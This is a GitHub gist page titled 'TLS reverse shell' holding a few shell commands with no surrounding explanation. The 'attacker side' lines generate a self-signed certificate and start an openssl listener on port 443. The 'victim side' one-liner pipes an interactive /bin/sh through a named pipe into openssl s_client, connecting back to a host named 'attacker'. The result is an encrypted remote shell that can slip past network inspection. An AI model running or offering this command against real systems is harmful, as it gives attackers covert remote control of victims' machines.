Skip to content

Instantly share code, notes, and snippets.

@gteissier
Last active April 9, 2024 09:46
Show Gist options
  • Save gteissier/e6545ab23865193338fc5b9d4767f887 to your computer and use it in GitHub Desktop.
Save gteissier/e6545ab23865193338fc5b9d4767f887 to your computer and use it in GitHub Desktop.
TLS reverse shell
# attacker side: create auto-signed certificate and setup a listener
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# victim side: connect back to attacker using TLS
mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s_client -quiet -connect attacker:443 > fifo; rm fifo
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment